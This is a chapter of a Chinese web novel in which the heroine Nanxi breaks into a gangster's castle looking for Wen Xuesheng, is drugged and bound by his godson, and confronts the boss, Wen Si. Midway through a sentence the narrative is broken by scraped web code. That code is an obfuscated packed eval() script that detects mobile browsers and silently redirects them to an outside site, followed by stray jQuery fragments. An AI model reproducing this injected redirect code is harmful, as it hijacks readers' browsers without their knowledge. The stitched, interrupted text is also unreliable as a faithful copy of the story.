36. 第 36 章

作品:《残疾少爷是绝色[九零]

    随身听里,任贤齐正好唱到:“夜深了你还不想睡,你还在想着他吗?”


    南希的心一沉,像是瞬间掉进了冰窟。她扔下句“谢谢”,转身就跑出教学楼,一路狂奔到校园停车场,跳上切诺基,点火发动。


    引擎低吼了几声,切诺基如同脱缰的野马,冲出校门,汇入车流,向郊区狂飙。


    她不知道温雪生被带去了哪儿,也许是温沙城堡。


    她要亲眼确认。


    大概一个小时后,伴着一个急刹,切诺基停在温沙城堡外围山坡。


    多年的职业敏感,让南希在停车的瞬间就绷紧了神经。


    城堡周边,肉眼可见的,多了一圈正在巡逻的黑衣。整栋建筑透出的气息,也比以往任何时候都要压抑。


    第六感疯狂报警,告诉她出事了。


    这种情况,她绝对不能从正门进去,也不能贸然爬上三楼。她把切诺基停在隐秘处,决定耐心等待进入城堡的时机。


    天色渐渐黑透了,黑衣人开始换岗交接,温沙城堡的戒备终于出现了短暂的空隙。


    就是现在!


    她像过去无数次那样,奔跑起来,身影在黑暗中几个起落,然后敏捷地攀上城堡三楼。


    那扇熟悉的窗户没锁,她轻轻一推就开了,像是有人故意留的。


    屋子里没开灯,一片漆黑。


    南希探出头,压低声音喊:“小生生?”


    也没有人回答。


    危险的预感已经飙到顶点,但她还是咬紧牙关,轻盈地跳进房间,凭借记忆,摸黑向床边走去。


    月光勉强透进来一点,勾勒出床上瘦长的人形轮廓。


    她心里又是一紧,夹杂着惊疑和一丝残存的希望,然后她加快脚步靠近,伸手推了推那个人。


    “喂!”


    “小生生?”


    床上的人被她推动,僵硬地转过头。


    借着朦胧月光,一张完全陌生的、瘦削得像猴子一样的脸浮现在南希眼前。


    那张脸没有任何表情,眼神阴沉而空洞。


    几乎同一时间,南希闻到一股刺鼻的药味。


    这药味她无比熟悉。


    因为这种药她曾在任务中用过太多太多次。


    迷药!


    脑中刚闪过这两个惊悚的字眼,她就及时赌住了口鼻,但还是晚了一步,迷药在刹那间钻入她的鼻腔,渗入她的血液,虽不多,却仍令她意识迷乱,眼前发花。


    下一瞬,那猴子男不知从哪儿摸出一根麻绳,只见他甩手一挥,那麻绳稳准地将南希套了个圈。


    南希感到麻绳瞬间收紧,她被拽得一个趔趄,迷乱感更重,天花板和地板在视野里不断交换位置。


    她干脆放弃反抗,保存所剩无几的力气,任由自己摔倒在地,然后贴着消毒水味很重地毯,大口大口喘着粗气。


    身后,那猴子男跳下床,冲着黑暗说:“爸,办好了。”


    他语气里带有明显的讨好,就想是在跟领导汇报工作。


    南希这才意识到房间里还有第三个人。


    但是——


    爸?


    她感到惊讶,却没时间细想什么,只听“咔嚓”一声,顶灯骤亮,刺目的白光让她瞬间闭上了眼。


    “重明,把灯调暗些。”角落里传来了声音,很温和,甚至算得上慈祥。


    “是。”那猴子男立马应声。


    很快,房间的明灯暗了。南希终于能睁开眼,缓缓抬起了头。


    墙角的沙发上,坐着一个穿深灰中山装、黑布鞋的男人。


    那张沙发她常坐,如果没记错,她和温雪生还在上面口口过……


    “你是张南希?”中年男人开口,目光平静。


    南希艰难地拨正自己混乱的意识,看过去。


    那人身形匀称,不胖不瘦,头发是灰白色的,应该有些年龄,但是脸上的皱纹并算是多,依稀可见他年轻时的俊朗模样。


    乍一看,这似乎是一个英俊且朴素的中年男人,可再一看,就会被他周身散发的压迫感震住,连整个房间的空气都因此变得沉重了。


    看到这,南希对这人的身份已经有了预判,但又想到猴子男刚刚叫的那声“爸”,又对自己的预判产生了怀疑。


    “我爸问你话呢!你是不是张南希!?”猴子男突然嚷起来。


    眼前,那中年男人的脸倏地恍惚了。


    南希连忙压低下巴,挤出一个“是”字。


    长时间的抬头加剧了她的迷乱和眩晕,声音里透着一种虚弱感。


    “我在这里等你很久了。”中年男人似乎笑了下,语气更加慈祥,就像跟晚辈拉家常一样。


    南希扯了扯嘴角,想回笑,却没笑出来。


    “劳您大驾……不知,您怎么称呼?”


    中年男人避而不答,反倒关心起她:“你脸色很差,重明,你去给张小姐拿把椅子。”


    那猴子男收到命令,利落地搬来一把木椅。


    南希抬眼瞅瞅椅子,又瞅瞅自己身上捆得结实的麻绳,可算笑了出来:“您这啥意思?让我绑着坐椅子?您这待客之道,还真是奇特……不过,谢了。”她没有逞强,身体朝那猴子男晃了几下,“我起不来,坐不了,要不,少爷扶我?”


    猴子男发出“嘶”的一声,似乎想要骂娘,可当着他老爹的面又不好发作,只能咬牙扶南希坐上木椅。


    那中年男人便再次开口:“重明是我的干儿子。”


    这句话是在解释。聪明人之间的对话一点就通,南希刚才的“少爷扶我”其实是在跟他确定重名的身份。


    她的问题抛出来了,就看对方接不接了。


    哪料,中年男人不仅接了,还没让南希继续猜下去,竟直接自报家门:“我姓温,单名一个四字。”


    温四,济东无人不知无人不晓的black大佬,温雪生牛x哄哄的老爸。


    在济东,几乎没人敢直呼他的名字,说起他时都会尊称一声温四爷。


    果然跟她预判的一样——


    “温四爷……”南希重复了一遍,然后强迫自己直视他,“您费这么大力气‘请’我来,是为了温雪生吗?”


    温四微微颔首,双手优雅地交叠在膝盖上:“雪生脾气倔,最近这段时间做了一些出格的事。我听说,你和他走得很近……”


    这话过于官方客套,南希不禁烦躁起来,而且迷药也让她比平时缺少了些耐心。


    “等等,你不会一直在监督自己的儿子吧?”她打断温四,“温雪生现在在哪儿啊?他不在自己房间……难不成你把他关起来了?”


    “你他妈跟谁说话呢!”重明听不下去,挥拳想教育南希,却被温四制止。


    温四好像没有因为南希的冒犯而生气,他语调不变:“你既然出现在这里,应该已经知道雪生病了。他现在,正在卢氏接受治疗。”


    南希的意识飘回三个月前,温雪生躺在她的粉色小床上,浑身滚烫,热汗涔涔,像是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517052|181645||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    快死了……


    她心里一颤,急问道:“他到底得了什么病啊?我见过他发病,能吓死个人!不过最近他的脸白净了,气色也好了很多,我还以为他已经没事了……”


    温四叹了口气,那声叹息里带着一种沉重的无奈:“雪生中了毒。他小时候遭到绑架,被人下了毒,九死一生。我倾尽全力为他解毒,最后也只找到了抑制毒素的方法,命是保住了,但是他的根基已经受损。这些年,我想尽各种办法为他调养,尽量事事顺他的心意。他想看欧洲古堡,我为他建;他喜好清静,我就为他辟出独居的地方……这样保养着,他的身体终于有所好转了……唉,只不过,这次发病……”他顿了顿,目光扫过南希,“医生坦诚地告诉我,雪生情况十分严重,远胜以前的任何时候。”


    南希的心揪紧了,声音不稳。


    “为,为什么?”


    “医生说,他这次发病与情绪波动有关。”温四慈祥地微笑,却字字清晰,“情绪引发的病症,药是治不好的,必须找到影响他情绪的根源,然后,”他做了一个斩断的手势,“彻底掐灭。”


    南希僵住,后背泛起凉意,电视里演的那些black社会杀人于无形的画面闪过脑海。


    她猛地抬头,装作难以置信:“你……你该不会认为我就是那个‘根源’吧?”她鼓足勇气盯紧对方,捕捉到温四浅淡笑容里藏得极深的刀。


    温四同样没有错过南希脸上复杂的情绪变化——前一秒,她还在担心他的儿子,后一秒就把这些着急的情绪全放在了自己身上。


    温四嘴角的弧度加深了些,眼底浮上一丝难以察觉的杀意,如同暗流涌动。


    沉默在两人之间蔓延,空气仿佛凝结了,房间里只剩下南希略显急促的呼吸声,以及窗外偶尔传来的细微风声。


    温四交叠手指轻轻敲击手背,他虽然只是静静地看着南希,但那目光仿佛有千钧重。


    南希感到身上的秋衣已经被冷汗浸透,麻绳似乎勒得更紧了。


    终于,温四打破了这令人窒息的死寂:“别慌,我只是想请你帮个小忙。”然后,他朝南希身后的重明递去一个眼神。


    重明会意,上前一步,右手探向口袋。


    就在这一刹那,南希猛然从椅子上弹起,动作快得只留下一道残影。


    只见她敏捷转身,抬腿翻到椅背之后,在重明惊愕的瞳孔下一晃而过,随即以手作刀,精准狠厉地劈上重明的后颈。


    重明那猴子眼往天上一翻,连哼都没哼一声,直接栽倒在地。


    几分钟前,重明用迷药偷袭南希,她借用捂口鼻的机会,将一粒解药塞进了嘴里。


    她毕竟是大名鼎鼎的“红发女鬼”,职业习惯让她随身携带各种应急的东西,迷药解药自然也在其中。只是解药生效需要时间,她耐着脾性与温四周旋,既为拖延,也为观察,更为等待体内药物发挥效果。


    她向来狗屎运,就豪赌一把,赌自己的运气比温四好上那么一点。


    果然,赌赢了,时机刚好,她的意识和部分体力在周旋中恢复,让她得以在重明下手前先发制人。


    不过,虽然一击得手,面对温四爷,南希也不敢有丝毫的松懈和得意。她稍稍侧身,露出半张脸,算是留给温雪生他爹最后一点礼节:“叔叔,抱歉,这个忙,我帮不了。”话音未落,她就转身扑向敞开的窗户,准备逃走。


    这时,温四的声音再次在身后响起。


    “那块蓝宝石,你还记得吗?”